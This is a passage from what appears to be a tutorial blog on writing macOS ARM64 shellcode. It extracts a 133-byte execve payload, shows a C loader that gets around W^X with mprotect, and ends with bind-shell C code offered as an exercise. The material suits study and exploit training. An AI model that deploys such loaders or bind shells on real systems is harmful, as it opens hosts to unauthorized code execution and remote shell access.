cleaner.</p>

<p>Now pay attention to the next part, Cause this is where <code class="language-plaintext highlighter-rouge">ARM64</code> slapped me personally during testing: <code class="language-plaintext highlighter-rouge">mov x3, sp</code> and <code class="language-plaintext highlighter-rouge">add x4, sp, #8</code> compute the <strong>addresses</strong> of our two strings, And only those addresses go into the <code class="language-plaintext highlighter-rouge">argv</code> array. The trap is writing <code class="language-plaintext highlighter-rouge">str x9, [sp, #16]</code> instead — storing the <em>string bytes</em> <code class="language-plaintext highlighter-rouge">0x0068732f6e69622f</code> as <code class="language-plaintext highlighter-rouge">argv[0]</code> instead of a pointer to the string. It assembles fine, It runs fine, And <code class="language-plaintext highlighter-rouge">execve</code> fails with <code class="language-plaintext highlighter-rouge">EFAULT</code> (error <code class="language-plaintext highlighter-rouge">14</code>, bad address) while your shellcode gracefully exits like nothing happened. Remember: on <code class="language-plaintext highlighter-rouge">x86_64</code> the original shellcode did <code class="language-plaintext highlighter-rouge">mov rdi, rsp</code> — copying the <em>stack pointer</em> to get the string address, Not the string value. Same lesson, New architecture: <strong>the kernel wants pointers, Not your data</strong>.</p>

<p>After the pointers, <code class="language-plaintext highlighter-rouge">str xzr, [sp, #40]</code> places the <code class="language-plaintext highlighter-rouge">NULL</code> terminator as <code class="language-plaintext highlighter-rouge">argv[3]</code> — the silent end-of-array marker that <code class="language-plaintext highlighter-rouge">C</code> adds for you and assembly won’t. Without it, <code class="language-plaintext highlighter-rouge">execve</code> reads whatever garbage sits at <code class="language-plaintext highlighter-rouge">sp+40</code> as a fourth argument pointer and fails. Then we set the <code class="language-plaintext highlighter-rouge">execve</code> arguments: <code class="language-plaintext highlighter-rouge">X0 = sp</code> points to the string for the <code class="language-plaintext highlighter-rouge">fname</code> argument, <code class="language-plaintext highlighter-rouge">X1 = sp + 16</code> points to our <code class="language-plaintext highlighter-rouge">argp</code> array, And <code class="language-plaintext highlighter-rouge">X2 = xzr</code> for <code class="language-plaintext highlighter-rouge">envp</code> which is <code class="language-plaintext highlighter-rouge">NULL</code>. Then the <code class="language-plaintext highlighter-rouge">movz</code>/<code class="language-plaintext highlighter-rouge">movk</code> pair sets <code class="language-plaintext highlighter-rouge">X16 = 0x200003B</code> for our execve syscall, And <code class="language-plaintext highlighter-rouge">svc #0x80</code> invokes the kernel to execute <code class="language-plaintext highlighter-rouge">execve(filename, argv, envp)</code>. If <code class="language-plaintext highlighter-rouge">execve</code> returns (i.e., it failed) the code falls through to the <code class="language-plaintext highlighter-rouge">exit</code> syscall to terminate the process.</p>

<blockquote>
  <p>Note: <code class="language-plaintext highlighter-rouge">0x3B</code> = 59 decimal → <code class="language-plaintext highlighter-rouge">execve</code></p>
</blockquote>

<blockquote>
  <p>Note: <code class="language-plaintext highlighter-rouge">mov x2, xzr</code> is our new best friend — <code class="language-plaintext highlighter-rouge">XZR</code> (the zero register) always reads as <code class="language-plaintext highlighter-rouge">0</code> and ignores writes, So <code class="language-plaintext highlighter-rouge">mov x2, xzr</code> is the <code class="language-plaintext highlighter-rouge">ARM64</code> way of writing <code class="language-plaintext highlighter-rouge">xor rdx, rdx</code> from <code class="language-plaintext highlighter-rouge">x86_64</code>. Zero on demand, No instruction spent on computing it. And <code class="language-plaintext highlighter-rouge">envp = NULL</code> works fine on <code class="language-plaintext highlighter-rouge">macOS</code> — verified.</p>
</blockquote>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % clang -arch arm64 -c execute.s
shellcoding % ld -o execute execute.o -L /Library/Developer/CommandLineTools/SDKs/MacOSX15.2.sdk/usr/lib -lSystem -platform_version macos 15.2 15.2
shellcoding % ls /tmp | grep -i pwned
shellcoding % ./execute
shellcoding % ls -la /tmp/Pwned.txt
-rw-r--r--  1 labatrixteam  wheel  9 Sep 17 00:30 /tmp/Pwned.txt
shellcoding % cat /tmp/Pwned.txt 
W00tW00t
</code></pre></div></div>

<p>We can see clearly, That our shellcode is executed successfully and our file created.</p>

<h1 id="extract-shellcode">Extract Shellcode</h1>

<p>Now, Let’s extract our shellcode from the object file, So if we need to send it with our exploit. We will use <code class="language-plaintext highlighter-rouge">objdump</code> and <code class="language-plaintext highlighter-rouge">otool</code> to view it, And — spoiler — <code class="language-plaintext highlighter-rouge">segedit</code> to actually extract it. You will see why in a moment.</p>

<h2 id="objdump">objdump</h2>

<p>Careful here — the <code class="language-plaintext highlighter-rouge">--x86-asm-syntax=intel</code> flag which we used on <code class="language-plaintext highlighter-rouge">x86_64</code> makes no sense for <code class="language-plaintext highlighter-rouge">ARM64</code>, Since <code class="language-plaintext highlighter-rouge">objdump</code> will happily print <code class="language-plaintext highlighter-rouge">ARM64</code> assembly by itself. Here is our real disassembly:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % objdump --disassemble ~/shellcoding/execute.o

execute.o:	file format mach-o arm64

Disassembly of section __TEXT,__text:

0000000000000000 &lt;ltmp0&gt;:
       0: d100c3ff     	sub	sp, sp, #0x30
       4: d28c45e9     	mov	x9, #0x622f             ; =25135
       8: f2adcd29     	movk	x9, #0x6e69, lsl #16
       c: f2ce65e9     	movk	x9, #0x732f, lsl #32
      10: f2e00d09     	movk	x9, #0x68, lsl #48
      14: f80003e9     	stur	x9, [sp]
      18: d28c65aa     	mov	x10, #0x632d            ; =25389
      1c: f80083ea     	stur	x10, [sp, #0x8]
      20: 1000022b     	adr	x11, 0x64 &lt;cmd&gt;
      24: 910003e3     	mov	x3, sp
      28: 910023e4     	add	x4, sp, #0x8
      2c: f9000be3     	str	x3, [sp, #0x10]
      30: f9000fe4     	str	x4, [sp, #0x18]
      34: f90013eb     	str	x11, [sp, #0x20]
      38: f90017ff     	str	xzr, [sp, #0x28]
      3c: 910003e0     	mov	x0, sp
      40: 910043e1     	add	x1, sp, #0x10
      44: aa1f03e2     	mov	x2, xzr
      48: d2800770     	mov	x16, #0x3b              ; =59
      4c: f2a04010     	movk	x16, #0x200, lsl #16
      50: d4001001     	svc	#0x80
      54: d2800030     	mov	x16, #0x1               ; =1
      58: f2a04010     	movk	x16, #0x200, lsl #16
      5c: d2800000     	mov	x0, #0x0                ; =0
      60: d4001001     	svc	#0x80

0000000000000064 &lt;cmd&gt;:
      64: 6f686365     	umlml2.4s	v5, v27, v8[2]
      68: 30572220     	adr	x0, 0xae4ad &lt;cmd+0xae449&gt;
      6c: 30577430     	adr	x16, 0xaeef1 &lt;cmd+0xaee8d&gt;
      70: 20227430     	&lt;unknown&gt;
      74: 742f203e     	cbge	w30, w15, 0xfffffffffffffc6c &lt;cmd+0xfffffffffffffc14&gt;
      78: 502f706d     	adr	x13, 0x5ee86 &lt;cmd+0x5ee22&gt;
      7c: 64656e77     	&lt;unknown&gt;
      80: 7478742e     	&lt;unknown&gt;
      84: 00           	&lt;unknown&gt;
</code></pre></div></div>

<p>A few things to notice here:</p>

<ul>
  <li>Don’t panic about the <code class="language-plaintext highlighter-rouge">&lt;ltmp0&gt;</code> label — that’s just the local temp label <code class="language-plaintext highlighter-rouge">clang</code>’s assembler emits for the code block; <code class="language-plaintext highlighter-rouge">_main</code> is still there as the global symbol at the same address (check with <code class="language-plaintext highlighter-rouge">nm execute.o</code>).</li>
  <li><code class="language-plaintext highlighter-rouge">adr x11, 0x64 &lt;cmd&gt;</code> still resolves to our <code class="language-plaintext highlighter-rouge">cmd:</code> label — The position-independent trick survived the whole disassembly, Perfect.</li>
  <li>And just like in the <code class="language-plaintext highlighter-rouge">x86_64</code> post, <code class="language-plaintext highlighter-rouge">objdump</code> blindly disassembles our <code class="language-plaintext highlighter-rouge">cmd:</code> string data as “instructions” — That <code class="language-plaintext highlighter-rouge">umlml2.4s v5, v27, v8[2]</code> nonsense at <code class="language-plaintext highlighter-rouge">0x64</code> is literally the bytes of <code class="language-plaintext highlighter-rouge">echo "W00tW00t" &gt; /tmp/Pwned.txt</code> being interpreted as code. Same restaurant, Same garbage.</li>
</ul>

<h2 id="otool">otool</h2>

<ul>
  <li>Let’s dump the raw section bytes with <code class="language-plaintext highlighter-rouge">otool</code>:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % otool -s __TEXT __text ~/shellcoding/execute.o

execute.o:
(__TEXT,__text) section
0000000000000000 d100c3ff d28c45e9 f2adcd29 f2ce65e9 
0000000000000010 f2e00d09 f80003e9 d28c65aa f80083ea 
0000000000000020 1000022b 910003e3 910023e4 f9000be3 
0000000000000030 f9000fe4 f90013eb f90017ff 910003e0 
0000000000000040 910043e1 aa1f03e2 d2800770 f2a04010 
0000000000000050 d4001001 d2800030 f2a04010 d2800000 
0000000000000060 d4001001 6f686365 30572220 30577430 
0000000000000070 20227430 742f203e 502f706d 64656e77 
0000000000000080 7478742e 00000000 
</code></pre></div></div>

<p>Looks perfect, Right? Now stop and look VERY carefully at the last rows, Cause here it comes…</p>

<h2 id="the-arm64-byte-order-trap">The ARM64 Byte-Order Trap</h2>

<p>In our <code class="language-plaintext highlighter-rouge">x86_64</code> blogpost we extracted the shellcode by piping <code class="language-plaintext highlighter-rouge">objdump</code>/<code class="language-plaintext highlighter-rouge">otool</code> output through <code class="language-plaintext highlighter-rouge">grep</code>/<code class="language-plaintext highlighter-rouge">awk</code> to grab the hex bytes, Then <code class="language-plaintext highlighter-rouge">xxd -r -p</code> to binary. If you try the exact same pipeline here, You will ship <strong>broken shellcode</strong>. Look at the string bytes in the <code class="language-plaintext highlighter-rouge">otool</code> dump above: <code class="language-plaintext highlighter-rouge">6f686365</code> — read as bytes that’s <code class="language-plaintext highlighter-rouge">ohce</code>, But our string starts with <code class="language-plaintext highlighter-rouge">echo</code>! What’s going on?</p>

<p>The answer: on <code class="language-plaintext highlighter-rouge">ARM64</code>, Both <code class="language-plaintext highlighter-rouge">objdump</code> and <code class="language-plaintext highlighter-rouge">otool</code> print each 4-byte group as a 32-bit <strong>word value</strong> (<code class="language-plaintext highlighter-rouge">d100c3ff</code> is the <em>instruction value</em>), While the actual bytes in the file are <strong>little-endian</strong> (<code class="language-plaintext highlighter-rouge">ff c3 00 d1</code>). On <code class="language-plaintext highlighter-rouge">x86_64</code> the tools printed byte-by-byte in order, So the naive pipeline worked. Here, <code class="language-plaintext highlighter-rouge">xxd -r -p</code> on that output gives you every 4-byte group reversed — Byte-swapped garbage that will never execute. This is the kind of silent bug that costs you hours in debugging, Cause the hex <em>looks</em> right.</p>

<p>You <em>can</em> fix it in the pipeline by reversing each word:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % otool <span class="nt">-s</span> __TEXT __text ~/shellcoding/execute.o <span class="se">\</span>
  | <span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'3,$p'</span> <span class="se">\</span>
  | <span class="nb">awk</span> <span class="s1">'{ for(i=2;i&lt;=NF;i++) printf "%s%s%s%s", substr($i,7,2), substr($i,5,2), substr($i,3,2), substr($i,1,2) } END{ print "" }'</span> <span class="o">&gt;</span> shellcode.hex
</code></pre></div></div>

<p>But there is a cleaner native way, And honestly the tool Apple gave us for exactly this job:</p>

<h2 id="segedit-the-clean-way">segedit: The Clean Way</h2>

<p><code class="language-plaintext highlighter-rouge">segedit</code> extracts a section’s raw bytes from a <code class="language-plaintext highlighter-rouge">Mach-O</code> directly — no hex parsing, No byte-order gymnastics, No padding surprises (<code class="language-plaintext highlighter-rouge">otool</code> pads its display to word boundaries, <code class="language-plaintext highlighter-rouge">segedit</code> gives you the exact section):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % segedit ~/shellcoding/execute.o -extract __TEXT __text shellcode.bin
shellcoding % wc -c shellcode.bin
     133 shellcode.bin // 133 bytes
shellcoding % xxd shellcode.bin | head -3
00000000: ffc3 00d1 e945 8cd2 29cd adf2 e965 cef2  .....E..)....e..
00000010: 090d e0f2 e903 00f8 aa65 8cd2 ea83 00f8  .........e......
00000020: cb02 0010 e303 0091 e423 0091 e30b 00f9  .........#......
shellcoding % xxd shellcode.bin | tail -3
00000050: 0110 00d4 6563 686f 2022 5730            ....echo "W0
00000060: 3074 5730 3074 2220 3e20 2f74 6d70 2f50  0tW00t" &gt; /tmp/P
00000070: 776e 6564 2e74 7874 00                   wned.txt.
</code></pre></div></div>

<p>Look at that — the first bytes are <code class="language-plaintext highlighter-rouge">ff c3 00 d1</code> (the real little-endian encoding of <code class="language-plaintext highlighter-rouge">sub sp, sp, #0x30</code>), And the string at the end reads <code class="language-plaintext highlighter-rouge">wned.txt.</code> from <code class="language-plaintext highlighter-rouge">Pwned.txt</code> in perfect order. <code class="language-plaintext highlighter-rouge">133</code> bytes: <code class="language-plaintext highlighter-rouge">100</code> bytes of code + <code class="language-plaintext highlighter-rouge">33</code> bytes of our command string (including its <code class="language-plaintext highlighter-rouge">NULL</code> terminator).</p>

<ul>
  <li>Convert it to the <code class="language-plaintext highlighter-rouge">C</code> array we will need for the loader:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % xxd -i shellcode.bin &gt; shellcode.h
shellcoding % cat shellcode.h
unsigned char shellcode_bin[] = {
  0xff, 0xc3, 0x00, 0xd1, 0xe9, 0x45, 0x8c, 0xd2, 0x29, 0xcd, 0xad, 0xf2,
  0xe9, 0x65, 0xce, 0xf2, 0x09, 0x0d, 0xe0, 0xf2, 0xe9, 0x03, 0x00, 0xf8,
  0xaa, 0x65, 0x8c, 0xd2, 0xea, 0x83, 0x00, 0xf8, 0x2b, 0x02, 0x00, 0x10,
  0xe3, 0x03, 0x00, 0x91, 0xe4, 0x23, 0x00, 0x91, 0xe3, 0x0b, 0x00, 0xf9,
  0xe4, 0x0f, 0x00, 0xf9, 0xeb, 0x13, 0x00, 0xf9, 0xff, 0x17, 0x00, 0xf9,
  0xe0, 0x03, 0x00, 0x91, 0xe1, 0x43, 0x00, 0x91, 0xe2, 0x03, 0x1f, 0xaa,
  0x70, 0x07, 0x80, 0xd2, 0x10, 0x40, 0xa0, 0xf2, 0x01, 0x10, 0x00, 0xd4,
  0x30, 0x00, 0x80, 0xd2, 0x10, 0x40, 0xa0, 0xf2, 0x00, 0x00, 0x80, 0xd2,
  0x01, 0x10, 0x00, 0xd4, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x22, 0x57, 0x30,
  0x30, 0x74, 0x57, 0x30, 0x30, 0x74, 0x22, 0x20, 0x3e, 0x20, 0x2f, 0x74,
  0x6d, 0x70, 0x2f, 0x50, 0x77, 0x6e, 0x65, 0x64, 0x2e, 0x74, 0x78, 0x74,
  0x00
};
unsigned int shellcode_bin_len = 133;
</code></pre></div></div>

<h2 id="test-shellcode-with-loader">Test Shellcode with Loader</h2>

<p>Now, Let’s write a loader in <code class="language-plaintext highlighter-rouge">C</code> — structurally the same loader from our <code class="language-plaintext highlighter-rouge">x86_64</code> blogpost: <code class="language-plaintext highlighter-rouge">fork()</code> a child, map the shellcode, copy it, cast to a function pointer and call it, While the parent <code class="language-plaintext highlighter-rouge">waitpid()</code>s and checks the side-effect. But if you take the <code class="language-plaintext highlighter-rouge">x86_64</code> loader <em>unchanged</em>, Apple Silicon will slap you too. Watch:</p>

<pre><code class="language-C">#include &lt;stdio.h&gt;
#include &lt;sys/mman.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
#include &lt;errno.h&gt;
#include &lt;sys/wait.h&gt;
#include &lt;stdlib.h&gt;

int main(void) {
    unsigned char code[] = {
      /* paste your extracted ARM64 shellcode bytes from xxd -i here */
    };
    size_t len = sizeof(code);

    pid_t pid = fork();
    if (pid &lt; 0) {
        perror("fork");
        return 1;
    }

    if (pid == 0) {
        // child: allocate RWX, copy shellcode and execute
        void *exec = mmap(NULL, len, PROT_READ|PROT_WRITE|PROT_EXEC,
                          MAP_ANON|MAP_PRIVATE, -1, 0);
        if (exec == MAP_FAILED) {
            perror("mmap");
            _exit(127);
        }
        memcpy(exec, code, len);

        printf("[child %d] executing shellcode (%zu bytes)...\n", getpid(), len);
        fflush(stdout);

        int (*func)() = (int(*)())exec;
        int r = func();
        printf("[child %d] shellcode returned %d\n", getpid(), r);
        fflush(stdout);
        _exit(r &amp; 0xFF);
    } else {
        // parent: wait for child and then check side-effect
        int status = 0;
        printf("[parent %d] spawned child %d, waiting...\n", getpid(), pid);
        fflush(stdout);

        if (waitpid(pid, &amp;status, 0) == -1) {
            perror("waitpid");
            return 2;
        }

        if (WIFEXITED(status)) {
            printf("[parent] child exited with status %d\n", WEXITSTATUS(status));
        } else if (WIFSIGNALED(status)) {
            printf("[parent] child killed by signal %d\n", WTERMSIG(status));
        } else {
            printf("[parent] child ended with status 0x%x\n", status);
        }

        usleep(200000);

        const char *check_path = "/tmp/Pwned.txt";
        if (access(check_path, F_OK) == 0) {
            printf("[parent] Success: '%s' exists.\n", check_path);
            return 0;
        } else {
            printf("[parent] Failure: '%s' not found (errno=%d: %s)\n",
                   check_path, errno, strerror(errno));
            return 3;
        }
    }
}
</code></pre>

<p>Paste your real <code class="language-plaintext highlighter-rouge">code[]</code> bytes in, Compile it, Run it, And here is what happens on Apple Silicon:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % clang -arch arm64 -o cloader cloader.c
shellcoding % ./cloader 
[parent 39201] spawned child 39202, waiting...
mmap: Permission denied
[parent] child exited with status 127
[parent] Failure: '/tmp/Pwned.txt' not found (errno=2: No such file or directory)
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">mmap: Permission denied</code> — This is the <code class="language-plaintext highlighter-rouge">W^X</code> (Write XOR Execute) policy that Apple enforces on <code class="language-plaintext highlighter-rouge">Apple Silicon</code>: you simply cannot ask for a page that is <strong>writable and executable at the same time</strong> like we casually did on <code class="language-plaintext highlighter-rouge">x86_64</code>. This is exactly the kind of architecture difference that makes porting shellcode knowledge to <code class="language-plaintext highlighter-rouge">ARM64</code> fun. The fix is the classic <code class="language-plaintext highlighter-rouge">W^X</code>-compliant dance: map the page <code class="language-plaintext highlighter-rouge">RW</code>, copy the shellcode in, Then flip it to <code class="language-plaintext highlighter-rouge">RX</code> with <code class="language-plaintext highlighter-rouge">mprotect</code> — never writable and executable at the same time:</p>

<pre><code class="language-C">    if (pid == 0) {
        // child: allocate RW, copy shellcode, then flip to RX (W^X — required on Apple Silicon)
        void *exec = mmap(NULL, len, PROT_READ|PROT_WRITE,
                          MAP_ANON|MAP_PRIVATE, -1, 0);
        if (exec == MAP_FAILED) {
            perror("mmap");
            _exit(127);
        }
        memcpy(exec, code, len);
        if (mprotect(exec, len, PROT_READ|PROT_EXEC) != 0) {
            perror("mprotect");
            _exit(126);
        }

        printf("[child %d] executing shellcode (%zu bytes)...\n", getpid(), len);
        fflush(stdout);

        int (*func)() = (int(*)())exec;
        int r = func();
        printf("[child %d] shellcode returned %d\n", getpid(), r);
        fflush(stdout);
        _exit(r &amp; 0xFF);
    }
</code></pre>

<blockquote>
  <p>Note: The other Apple-blessed way is <code class="language-plaintext highlighter-rouge">MAP_JIT</code> with <code class="language-plaintext highlighter-rouge">pthread_jit_write_protect_np()</code> to toggle writability around the copy — that’s what JavaScriptCore and real JIT engines use. For a loader, The <code class="language-plaintext highlighter-rouge">RW</code> → copy → <code class="language-plaintext highlighter-rouge">mprotect(RX)</code> dance is simpler and works everywhere.</p>
</blockquote>

<p>Now run the fixed loader:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shellcoding % clang -arch arm64 -o cloader cloader.c
shellcoding % ./cloader 
[parent 39201] spawned child 39202, waiting...
[child 39202] executing shellcode (133 bytes)...
[parent] child exited with status 0
[parent] Success: '/tmp/Pwned.txt' exists.
shellcoding % cat /tmp/Pwned.txt 
W00tW00t
</code></pre></div></div>

<p>As we can see our shellcode executed successfully with no issues.</p>

<p>The loader’s job is the same as the <code class="language-plaintext highlighter-rouge">x86_64</code> one: it stores raw machine-code bytes (the shellcode) in a C <code class="language-plaintext highlighter-rouge">unsigned char</code> array, allocates a memory region, copies the bytes into that region, casts the region pointer to a function pointer, and then calls it. That direct transfer of control is what lets the program run arbitrary machine code in the address space of the process. Two <code class="language-plaintext highlighter-rouge">ARM64</code>-specific gotchas to keep in mind for your own loaders: first, The <code class="language-plaintext highlighter-rouge">W^X</code> mapping policy we just handled; Second, If you ever write shellcode that wants to <em>return</em> to the loader, <code class="language-plaintext highlighter-rouge">X29</code> (frame pointer) and <code class="language-plaintext highlighter-rouge">X30</code> (link register) must either not be touched, or must be saved and restored before returning (<code class="language-plaintext highlighter-rouge">stp</code>/<code class="language-plaintext highlighter-rouge">ldp</code> — <code class="language-plaintext highlighter-rouge">Store</code>/<code class="language-plaintext highlighter-rouge">Load Pair</code>), Otherwise the loader will crash the moment control comes back. Our shellcode plays it safe by ending with <code class="language-plaintext highlighter-rouge">execve</code>/<code class="language-plaintext highlighter-rouge">exit</code> so control never returns.</p>

<h1 id="exercises">Exercises</h1>

<p>If you want to dive deeper more, you can do this exercise which is involving in creating a <code class="language-plaintext highlighter-rouge">BindShell</code> shellcode for <code class="language-plaintext highlighter-rouge">ARM64</code> and execute it — the same <code class="language-plaintext highlighter-rouge">BindShell</code> <code class="language-plaintext highlighter-rouge">C</code> code from the <code class="language-plaintext highlighter-rouge">x86_64</code> post works just fine here since it’s pure <code class="language-plaintext highlighter-rouge">C</code>/<code class="language-plaintext highlighter-rouge">POSIX</code>:</p>

<pre><code class="language-C">// Source - https://stackoverflow.com/q
// Posted by gatorface, modified by community. See post 'Timeline' for change history
// Retrieved 2025-11-10, License - CC BY-SA 3.0

// Author:  Julien Ahrens (@MrTuxracer)
// Website:  http://www.rcesecurity.com 

#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;netinet/in.h&gt;

int main(void)
{
    int i; // used for dup2 later
    int sockfd; // socket file descriptor
    int clientfd; // client file descriptor
    socklen_t socklen; // socket-length for new connections

    struct sockaddr_in srv_addr; // server aka listen address
    struct sockaddr_in cli_addr; // client address

    srv_addr.sin_family = AF_INET; // server socket type address family = internet protocol address
    srv_addr.sin_port = htons( 1337 ); // server port, converted to network byte order
    srv_addr.sin_addr.s_addr = htonl (INADDR_ANY); // listen on any address, converted to network byte order

    // create new TCP socket
    sockfd = socket(2, 1, 0);

    // bind socket
    bind( sockfd, (struct sockaddr *)&amp;srv_addr, sizeof(srv_addr) );

    // listen on socket
    listen(sockfd, 0);

    // accept new connections
    socklen = sizeof(cli_addr);
    clientfd = accept(sockfd, (struct sockaddr *)&amp;cli_addr, &amp;socklen );

    // dup2-loop to redirect stdin(0), stdout(1) and stderr(2)
    for(i = 0; i &lt;= 2; i++)
        dup2(clientfd, i);

    // magic
    // execve( "/bin/sh", NULL, NULL );

    //UPDATE: fixed exec call, shell still not returned to
    // client connecting with execl or proper execve
    execl("/bin/sh", "/bin/sh", (char *)NULL);
}
</code></pre>

<p>Tasks:</p>

<ul>
  <li>Use <code class="language-plaintext highlighter-rouge">execve()</code> instead of <code class="language-plaintext highlighter-rouge">execl</code> — and remember your <code class="language-plaintext highlighter-rouge">NULL</code> terminator for the <code class="language-plaintext highlighter-rouge">argv</code> array, Plus pointers not values.</li>
  <li>Collect the syscall for <code class="language-plaintext highlighter-rouge">socket</code>,<code class="language-plaintext highlighter-rouge">bind</code>,<code class="language-plaintext highlighter-rouge">listen</code>,<code class="language-plaintext highlighter-rouge">accept</code> and <code class="language-plaintext highlighter-rouge">dup2</code>. As you will use it to build your <code class="language-plaintext highlighter-rouge">BindShell</code>.</li>
  <li>Study the functions arguments and get it ready for the functions/syscalls</li>
  <li>Make sure to go around with the <code class="language-plaintext highlighter-rouge">struct</code>, Cause it’s similler to the way we built arrays</li>
  <li>Make sure to use the kernel source code to hop-around to find a variable value, like the <code class="language-plaintext highlighter-rouge">#define AF_INET</code> for example and explore the source code to help you creating your shellcode.</li>
  <li>This time, Remember that your syscall numbers go in <code class="language-plaintext highlighter-rouge">X16</code> and the syscall instruction is <code class="language-plaintext highlighter-rouge">svc #0x80</code>.</li>
  <li>Make sure to keep your stack <code class="language-plaintext highlighter-rouge">16-byte</code> aligned all the way, Cause the alignment faults on <code class="language-plaintext highlighter-rouge">ARM64</code> are not as forgiving as <code class="language-plaintext highlighter-rouge">x86_64</code>.</li>
</ul>

<h2 id="help-">Help ?</h2>

<p>If you got any questions or need help, You can contact me:</p>

<ul>
  <li><a href="https://www.linkedin.com/in/zer0verflow/">Linkedin</a></li>
  <li><a href="https://x.com/AzimaZeyad">Twitter/X</a></li>
  <li>Email: <a href="mailto:contact@zeyadazima.com">contact@zeyadazima.com</a></li>
  <li>Discord: <code class="language-plaintext highlighter-rouge">.killer_1337</code> including <code class="language-plaintext highlighter-rouge">.</code></li>
</ul>

<h1 id="conclusion">Conclusion</h1>

<p>We extended our <code class="language-plaintext highlighter-rouge">macOS</code> shellcoding series from <code class="language-plaintext highlighter-rouge">x86_64</code> into the native <code class="language-plaintext highlighter-rouge">ARM64</code> (<code class="language-plaintext highlighter-rouge">AArch64</code>) architecture used by modern <code class="language-plaintext highlighter-rouge">Apple Silicon</code> Macs. We set up a proper lab environment using <code class="language-plaintext highlighter-rouge">clang</code> instead of <code class="language-plaintext highlighter-rouge">nasm</code> (which doesn’t speak ARM at all), Reused the exact same <code class="language-plaintext highlighter-rouge">XNU</code> syscall class encoding trick from the <code class="language-plaintext highlighter-rouge">x86_64</code> post but loading the ticket in <code class="language-plaintext highlighter-rouge">X16</code> and ringing <code class="language-plaintext highlighter-rouge">svc #0x80</code> instead of <code class="language-plaintext highlighter-rouge">RAX</code> + <code class="language-plaintext highlighter-rouge">syscall</code>, and learned the <code class="language-plaintext highlighter-rouge">ARM64</code> calling conventions: <code class="language-plaintext highlighter-rouge">X0-X7</code> for arguments, <code class="language-plaintext highlighter-rouge">X16</code> for the syscall number, and the strict <code class="language-plaintext highlighter-rouge">16-byte</code> stack alignment that the kernel actually enforces with alignment faults. We also saw how fixed-size instructions change our shellcode-writing habits — Building strings with <code class="language-plaintext highlighter-rouge">movz</code>/<code class="language-plaintext highlighter-rouge">movk</code> chunk by chunk instead of one-shot pushes, and using <code class="language-plaintext highlighter-rouge">adr</code> for the position-independent string trick which is even cleaner than its <code class="language-plaintext highlighter-rouge">x86_64</code> sibling. Along the way we hit the real <code class="language-plaintext highlighter-rouge">ARM64</code> gotchas that no <code class="language-plaintext highlighter-rouge">x86_64</code> guide will warn you about: the exit-less shellcode dying with <code class="language-plaintext highlighter-rouge">SIGILL</code> (illegal hardware instruction) instead of a segfault, The <code class="language-plaintext highlighter-rouge">execve</code> pointer-vs-value and <code class="language-plaintext highlighter-rouge">NULL</code>-termination traps, The <code class="language-plaintext highlighter-rouge">otool</code>/<code class="language-plaintext highlighter-rouge">objdump</code> byte-order trap that silently breaks extracted shellcode (and the <code class="language-plaintext highlighter-rouge">segedit</code> fix), And Apple’s <code class="language-plaintext highlighter-rouge">W^X</code> policy that denies <code class="language-plaintext highlighter-rouge">RWX</code> mappings on Apple Silicon. By following our structured workflow — starting from <code class="language-plaintext highlighter-rouge">C</code> code, identifying syscalls from <code class="language-plaintext highlighter-rouge">syscalls.master</code>, converting to assembly, and handling arguments — we successfully created shellcodes for printing text, terminating processes, and executing commands, All tested on real hardware. This foundation sets the stage for more advanced topics.</p>

<h1 id="references">References</h1>

<ul>
  <li>https://codebrowser.dev/</li>
  <li>https://man.freebsd.org/</li>
  <li>https://pubs.opengroup.org</li>
  <li>https://man7.org/linux/man-pages/</li>
  <li>https://opensource.apple.com/releases/</li>
  <li>https://github.com/apple-oss-distributions/xnu</li>
  <li>https://xcodereleases.com</li>
  <li>https://newosxbook.com</li>
  <li>https://developer.arm.com/documentation/102374/latest</li>
</ul>]]></content><author><name>Zeyad Azima</name></author><category term="MacOS" /><category term="MacOS" /><summary type="html"><![CDATA[Pt.2 macOS Shellcoding in depth on ARM64.]]></summary></entry><entry><title type="html">macOS: Shellcoding on Apples (C x64)</title><link href="https://zeyadazima.com/macos/shellcoding_on_macos_c64/" rel="alternate" type="text/html" title="macOS: Shellcoding on Apples (C x64)" /><published>2026-09-26T00:00:00+00:00</published><updated>2026-09-26T00:00:00+00:00</updated><id>https://zeyadazima.com/macos/shellcoding_on_macos_c64</id><content type="html" xml:base="https://zeyadazima.com/macos/shellcoding_on_macos_c64/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>Hello again! In our previous blogposts we explored shellcoding on <code class="language-plaintext highlighter-rouge">macOS</code> for both <code class="language-plaintext highlighter-rouge">x86_64</code> and <code class="language-plaintext highlighter-rouge">ARM64</code> architectures — But we always wrote our shellcodes by hand in assembly. Writing raw assembly is great for learning and full control, But sometimes you just want a quick, working shellcode without hand-crafting every <code class="language-plaintext highlighter-rouge">push</code> and <code class="language-plaintext highlighter-rouge">movabs</code>. So the question for this post: <strong>Can we write our shellcode in <code class="language-plaintext highlighter-rouge">C</code> and let the compiler do the heavy lifting?</strong> The answer is yes — with rules. The compiler is like a talented but chatty friend: left unattended, it will invite <code class="language-plaintext highlighter-rouge">libc</code>, the stack protector and <code class="language-plaintext highlighter-rouge">RIP</code>-relative addressing to the party, And your shellcode dies the moment you <code class="language-plaintext highlighter-rouge">memcpy</code> it somewhere else. In this post we will learn how to keep the compiler on a leash and get clean, extractable shellcode out of <code class="language-plaintext highlighter-rouge">C</code> — using <strong>two different methods</strong>, Each with its own trade-offs:</p>

<ul>
  <li><strong>Method 1 — Position-Independent, Syscall-Only:</strong> zero <code class="language-plaintext highlighter-rouge">libc</code>, zero fixed addresses, works anywhere, Any process, Any boot. The purist approach.</li>
